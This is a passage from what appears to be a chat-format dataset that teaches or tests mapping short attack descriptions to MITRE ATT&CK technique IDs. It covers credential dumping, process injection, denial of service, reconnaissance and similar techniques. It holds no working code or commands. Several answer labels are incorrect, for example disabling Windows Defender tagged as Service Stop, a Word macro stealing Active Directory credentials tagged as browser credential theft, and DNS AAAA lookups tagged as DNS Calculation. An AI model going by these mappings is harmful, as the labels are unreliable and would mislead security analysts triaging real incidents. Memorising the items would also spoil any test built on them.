                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker initiates a Bluetooth DoS attack by sending malformed L2CAP packets, causing the endpoint's Bluetooth stack to crash."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses the macOS command 'screencapture' to grab the active screen and exfiltrates the image over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes a reverse SSH tunnel from a victim machine to a remote server, bridging the internal network to the external Internet."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group leveraged credential dumping tools to harvest admin passwords and then hijacked the domain controller server."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses PowerShell to enumerate the Thunderbird profile directory and extracts the SQLite mail database."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool limits the amount of data sent per HTTP request to evade detection by intrusion detection systems."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor posts a malicious attachment in a corporate Microsoft Teams chat, prompting users to download and execute it."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables the Windows Defender service via PowerShell to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was signed using a stolen digital certificate previously used for legitimate software updates."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary provisions resources in a cloud provider's region that is not officially supported by the target organization, using it to hide malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses PowerShell's Get-EventLog cmdlet to enumerate the Windows Setup log for installed patches."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reads the process memory of LSASS to extract plaintext credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uploads harvested credentials to a staging server before sending them to the command‑and‑control infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses the Linux ptrace system call to attach to a running process and inject malicious code into its memory."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group leverages compromised credentials to create an additional privileged account in the target's cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits the boot loader to enable Safe Mode on restart, bypassing endpoint protection that does not run in that mode."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder performs domain‑specific queries on Yahoo to map out the victim's external infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors enumerate employee LinkedIn profiles and download archived meeting minutes from a secured intranet."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary utilizes the victim's mapped drive to copy HR files to a hidden directory before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Word document runs a script that captures and sends the user's Active Directory credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set extracts stored SSH private keys from the Windows registry and leverages them to bypass multi-factor authentication."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary extracts stored Outlook PST files from the victim's hard drive to gather email content."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary bought access to a botnet of IoT cameras to conduct reconnaissance on target networks."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the Registry to point a legitimate service to its payload, causing the service to execute the malicious code each boot."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During lateral movement, the malware queries the registry for the \"MachineGuid\" to uniquely identify the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The covert tool transforms harvested data using a non‑standard, double‑layer encoding: first a custom hex dump, then a rotated Base64."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a remote code execution bug in a network printer firmware, the attacker installed a C2 agent to later move laterally across the network."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes tampering with the recovery environment settings, rendering the system unable to boot into safe mode for repair."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑criminal group takes over a well‑known e‑commerce site, inserting malicious JavaScript that leverages a zero‑day exploit to install a credential‑stealing tool on every shopper’s machine."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies the LDAP authentication flow to accept arbitrary passwords, enabling persistent access across cloud and on‑premises resources."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample scans the /dev directory on Linux to find attached USB mass storage devices for potential payload deployment."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exfiltrating a Windows domain controller's NTLM hash database, the adversary performs pass‑the‑hash attacks to authenticate as legitimate users."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant is discovered that uses a combination of symmetric and asymmetric encryption to lock files."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor performs a privilege escalation by exploiting a CVE in the Windows Print Spooler service (PrintNightmare)."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data exfiltration is performed over a binary protocol that encrypts all packets with a symmetric key using the Twofish cipher."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages a use‑after‑free bug in a kernel driver to execute code with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before establishing persistence, the malicious program verifies that the system uptime is greater than five minutes, exiting if the machine was recently rebooted."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool tracks the size of each exfiltrated file and discards any portion that would exceed the 2 MB per‑file cap."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group sets up a malicious cryptocurrency mining pool to fund their operations."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign includes a malicious PDF where the embedded JavaScript has been stripped of comments and variable names."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged the CMSTP Windows utility to proxy a signed binary and launch a remote payload on the target system."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending excessive ARP requests, the attacker exhausts the OS's ARP cache, causing a denial of service at the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages OAuth token theft to sign in to victim’s Gmail account without needing the password."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware generates a new token with high‑level permissions and injects it into a privileged service to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor replaces the legitimate messaging app binary with a compromised version to intercept communications."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors update the network interface configuration of a cloud server to attach additional private IP addresses, facilitating stealthy command and control communication."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a script, the threat actor harvested domain registration data from WHOIS databases to map the victim's infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a vulnerability in the Chrome Sync feature to download synced passwords from the user's Google account."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code inserts an Outlook rule that runs a Python script from the user's %APPDATA% directory upon email receipt."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ a UDP flood against a game server's matchmaking service, saturating the endpoint's network stack and preventing legitimate players from connecting."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors abuse remote software distribution frameworks (e.g., PDQ Deploy) to execute PowerShell scripts on target hosts."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing utility leverages the SecItemCopyMatching function to pull stored OAuth tokens from the keychain."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set deploys a custom payload that calls the Windows API function \"DeviceIoControl\" with the FSCTL_DISMOUNT_VOLUME and IOCTL_DISK_DELETE_CONTROL flags to wipe the target disk."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Windows API CreateFileTransacted, the malicious code injects itself into a newly created process, achieving persistence via process doppelgänging."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows API function NtQueueApcThread to queue malicious code into a target process, executing it via an asynchronous procedure call injection."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deploys Nessus scanners to audit the victim’s network for known CVEs and missing patches."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the compromise, the actor runs 'route print' to map the system's routing table."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers conduct DNS reconnaissance by requesting DNS TXT records that reveal server configurations."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set utilizes LNK icon spoofing, replacing the icon of a shortcut with a harmless image while the shortcut launches a ransomware binary."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a utility to clear the Zone.Identifier ADS of a malicious DLL, bypassing the Mark-of-the-Web trust enforcement mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries crafted a macro-based malware that executes PowerShell commands when a Word document is opened."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant uses DNS AAAA lookups to retrieve IPv6 addresses of its dropper server."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes dynamic DNS entries that point to numerous proxy hosts, rotating them on a short interval to mask the true location of the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers issue tailored queries to Google Scholar to locate research papers that unintentionally disclose proprietary technology details of the target."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor duplicated a system utility and renamed it to \"taskmgr.exe\" to hide its activity."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan updates the Image File Execution Options to point to a malicious authentication package, ensuring activation at system start."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload reads the system's environmental variables for clues such as 'XEN' or 'VBOX' that suggest it is being executed inside a hypervisor."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware disguises its beacon traffic as regular web traffic by communicating with a cloud‑based storage API, blending in with normal usage."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses the CertEnroll COM interface to programmatically install a fake code‑signing certificate, bypassing security controls."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a promiscuous mode NIC to capture all traffic on the Ethernet segment."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised macOS device runs \"system_profiler SPApplicationsDataType\" to gather details about installed applications."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is executed by registering a rogue MMC snap‑in and running mmc.exe to trigger the payload."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a Windows shortcut (.lnk) that points to a malicious JScript file and sets the target to \"wscript.exe\", facilitating execution via system script proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor exploits a misconfigured server to launch a TCP reset flood, sending forged packets that terminate active connections and disrupt services."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion campaign uses files named \"update.exe.zip\" to conceal the executable component behind a zip archive extension."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
